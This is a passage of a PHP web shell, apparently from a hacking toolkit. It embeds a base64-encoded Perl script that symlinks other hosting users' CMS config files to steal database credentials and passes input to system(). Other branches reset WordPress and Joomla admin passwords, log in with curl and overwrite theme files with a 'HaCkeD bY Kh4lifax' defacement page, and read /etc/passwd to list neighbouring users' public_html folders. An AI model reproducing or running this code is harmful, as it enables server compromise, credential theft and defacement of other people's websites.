WJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htY3MgLSB3aG1jcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIHdobSAtIHdobS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gVkJ1bGxldGluIC0gZm9ydW0udHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2NvbmZpZy5waHAnLCRrb2xhLicJLSBQaHBCQiAtIGZvcnVtLnR4dCcpIDsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htYyAtIHdobWMudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCRrb2xhLicJLSB3aG1jczIudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJwktbWFuZ2V3aG1jcy50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215c2hvcC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJwktbXlzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1zdXBwb3J0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1zdXBwb3J0cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLW9zY29tbWVyY2UudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2VzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZXMudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC1zaG9wcGluZy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2FsZS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNhbGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FtZW1iZXIvY29uZmlnLmluYy5waHAnLCRrb2xhLictYW1lbWJlci50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLmluYy5waHAnLCRrb2xhLictYW1lbWJlcjIudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHdwLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHd3b3JkcHJlc3MgLSB3cCAtIGJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLXByZXNzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC13b3JkcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHdvcmRwcmVzcy1iZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIG5ldy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93ZWIvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBhbGlnbj0iY2VudGVyIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgY2xhc3M9ImlucHV0eiIgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPnNlZXBwICEhPC9wPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3NlKElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPiBkb3dubG9hZCAgZmlsZTwvYT48L3A+JzsNCn0NCn0NCiBwcmludCINCjwvYm9keT4NCjwvaHRtbD4iOw=='; 

 

$file = fopen("config.izo" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
    chmod("config.izo",0755);
   echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
   </div>"; } 
   
  elseif(isset($_GET['x']) && ($_GET['x'] == 'wp')) { echo "<center/><br/><b><font color=blue>+--==[  Change WP Index ]==--+</font></b><br>";
  
   
if($_POST['form_action'] == 1 )
 {

$text=file_get_contents($_POST['file']);

	
	$username=entre2v2($text,"define('DB_USER', '","');");
$password=entre2v2($text,"define('DB_PASSWORD', '","');");
$dbname=entre2v2($text,"define('DB_NAME', '","');");
$prefix=entre2v2($text,"$table_prefix  = '","'");
}

 if($_POST['form_action'] == 2 )
 {
 $prefix=($_POST['db_prefix']);
 $username=($_POST['db_username']);
 $password=($_POST['db_password']);
 $dbname=($_POST['db_name']);
 

	

}
/*
echo($username);
echo("<br>");
echo($password);
echo("<br>");
echo($dbname);
echo("<br>");
echo($prefix);
echo("<br>");
*/

if ($_POST['form_action'])
{
$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
      $link=mysql_connect("localhost",$username,$password) ;
	  if ($link) {
         mysql_select_db($dbname,$link) ;
		 $req1 =mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'asepx0x',`user_pass` = '$1$42REgxSR$.tLV4PSbQmCKsisyCSyhq.' WHERE `wp_users`.`ID` =1 LIMIT 1 ;");
echo("<br>[+] Changing asepx0x password to 123456789");	
	$req =mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='home'");
	 $data = mysql_fetch_array($req);
$site_url=$data["option_value"];
	 
	 	 echo("<br>");
	 echo($data["option_value"]);echo("/wp-login.php");
	 }
      $useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";



	 $url2=$site_url."/wp-login.php";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"log=asepx0x&pwd=123456789&rememberme=forever&wp-submit=Log In&testcookie=1");

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt"); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt"); 


$buffer = curl_exec($ch);

$pos = strpos($buffer,"admin");

if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[+] Login Successful");
}
   
echo("<br>[*] Theme editor ...");
	 $url2=$site_url."/wp-admin/theme-editor.php";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);


curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt"); 
     curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt"); 


$buffer = curl_exec($ch);


$ar=explode( '<li><a href="theme-editor.php?file=', $buffer);
     for($vi=0;$vi < count($ar);$vi++)
     {
	if(substr_count($ar[$vi],"(404.php)") != 0){
$theme=entre2v2($ar[$vi],'/themes','">');
	//	echo(entre2v2($ar[$vi],'/themes','">'));
}
}

if($theme) {
echo("<br>[+] 404.php file founded in Theme Editor");

}
else {
echo("<br>[-] 404.php Not found in Theme Editor");
exit;
}
echo("<br>[*] Updating 404.php .....");
   
//-----------------------------------------------------\
$theme=str_replace("&amp;","&",$theme);

  $url2=trim($site_url."/wp-admin/theme-editor.php?file=/themes".$theme);
 

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);


curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt"); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt"); 


$buffer0 = curl_exec($ch);
//echo($buffer0);

$_wpnonce=entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
$_file=entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');


	 $url2=$site_url."/wp-admin/theme-editor.php";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$h."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt"); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt"); 


$buffer = curl_exec($ch);

//echo($buffer);
$pos = strpos($buffer,'<div id="message" class="updated">');

if($pos === false) {
echo("<br>[-] Updating 404.php Error");
exit;
}
else {
echo("<br>[+] 404.php Updated Successfuly");
}


//////////////////////////////

$ar=explode( '<li><a href="theme-editor.php?file=', $buffer);
     for($vi=0;$vi < count($ar);$vi++)
     {
	if(substr_count($ar[$vi],"(home.php)") != 0){
$theme=entre2v2($ar[$vi],'/themes','">');
	//	echo(entre2v2($ar[$vi],'/themes','">'));
}
}

if($theme) {
echo("<br>[+] home.php file founded in Theme Editor");

}
else {
echo("<br>[-] home.php Not found in Theme Editor");
exit;
}
echo("<br>[*] Updating home.php .....");
   
//-----------------------------------------------------\
$theme=str_replace("&amp;","&",$theme);

  $url2=trim($site_url."/wp-admin/theme-editor.php?file=/themes".$theme);
 

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);


curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt"); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt"); 


$buffer0 = curl_exec($ch);
//echo($buffer0);

$_wpnonce=entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
$_file=entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');


	 $url2=$site_url."/wp-admin/theme-editor.php";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$h."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt"); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt"); 


$buffer = curl_exec($ch);

//echo($buffer);
$pos = strpos($buffer,'<div id="message" class="updated">');

if($pos === false) {
echo("<br>[-] Updating home.php Error");
exit;
}
else {
echo("<br>[+] home.php Updated Successfuly");
}

} 

 
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien)

{

$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[1]);
$ar=trim($ar1[0]);
return $ar;
}

?>


<br>

<FORM action=""  method="post">
<input type="hidden" name="form_action" value="2">
<br>
<table align="center">

<tr><td>db_prefix </td><td><input type="text"  class='inputz' size="30" name="db_prefix" value="wp_"></td></tr>
<tr><td>db_username </td><td><input type="text"  class='inputz' size="30" name="db_username" value=""></td></tr>
<tr><td>db_password</td><td><input type="text"  class='inputz' size="30" name="db_password" value=""></td></tr>
<tr><td>db_name</td><td><input type="text"  class='inputz' size="30" name="db_name" value=""></td></tr>


</table>
<br>
<br>
<TEXTAREA class='inputz' rows="18"  cols="50" name="code"><html><head></head><body><font color="#000000" face="Copperplate Gothic Light" size="5"><b>HaCkeD bY Kh4lifax<b></font><br>

<FONT face="Agency Fb" size="4" color="#ff0000"><b>: Phantom Hackers.PH | Philippine Hacker's<b></font><br>

<font face="Agency Fb" size="3" color="#000000"><b>-= &copy;  2013 by : kh4lifax =-<b></font><br>
<font face="Agency Fb" size="3" color="#ffffff"><b>-= by : kh4lifax =-<b></font><br>
	</TEXTAREA>
	<br>
<INPUT class='inputzbut' type="submit" value="Submit" name="Submit">
</FORM></center><?php
  
  echo "
   </div>"; } 
   
    elseif(isset($_GET['x']) && ($_GET['x'] == 'joomla')) { echo "<center/><br/><b><font color=blue>+--==[  Joomla Mysql Admin Shell ]==--+</font></b><br><br>";
	if(empty($_POST['pwd'])){
echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>
<input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
<input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
<input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
<input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
<tr><td>&nbsp;&nbsp;User baru</td><td>
<input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
 <tr><td>&nbsp;&nbsp;pass baru </td><td>123456 = 
<input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' />&nbsp;

<input style='width:23%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database  = $_POST['database'];
$username  = $_POST['username'];
$password  = $_POST['password'];
$pwd   = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
if($SQL){
echo "<b>Success : skarang password barunya >>> - (123456)";
}
}
	
  echo "
   </div>"; } 

 elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping'))

	{	
	?>
	<form action="?y=<?php echo $pwd; ?>&amp;x=jumping" method="post">
	<?php

	//radable public_html
	echo '<html><head><title>Jumping Finder</title></head><body>';
	($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
	set_time_limit(0);
	###################
	@$passwd = fopen('/etc/passwd','r');
	if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
	$pub = array();
	$users = array();
	$conf = array();
	$i = 0;
	while(!feof($passwd))
	{
		$str = fgets($passwd);
		if ($i > 35)
			{
			$pos = strpos($str,':');
			$username = substr($str,0,$pos);
			$dirz = '/home/'.$username.'/public_html/';
			if (($username != ''))
				{
				if (is_readable($dirz))
					{
					array_push($users,$username);
					array_push($pub,$dirz);
					}
				}
			}
		$i++;
	}
	
	###################
	echo '<br><br>';
	echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd
"."<br />";
	echo "[+] Founded ".sizeof($pub)." readable public_html directories
"."<br />";
	echo "[~] Searching for passwords in config files...

"."<br /><br /><br />";
	foreach ($users as $user)
		{
		$path = "/home/$user/public_html/";
		echo "<a href='?y&#61;$path' target='_blank' style='text-shadow:0px 0px 10px #12E12E; font-weight:bold; color:#FF0000;'>$path</a><br><br><br>";
		}
	echo "
";
	echo "[+] Copy one of the directories above public_html, then Paste to -> view file / folder <-- that's on the menu --> Explore 
"."<br />";
	echo "[+] Complete...
"."<br />";
	echo '<br><br></b>
	</body>
	</html>';
   
	}
  elseif(isset($_GET['x']) && ($_GET['x'] == 'localdomain'))
	{	
	?>
	<form action="?y=<?php echo $pwd; ?>&amp;x=localdomain" method="post">
	<?php

	//radable public_html
	
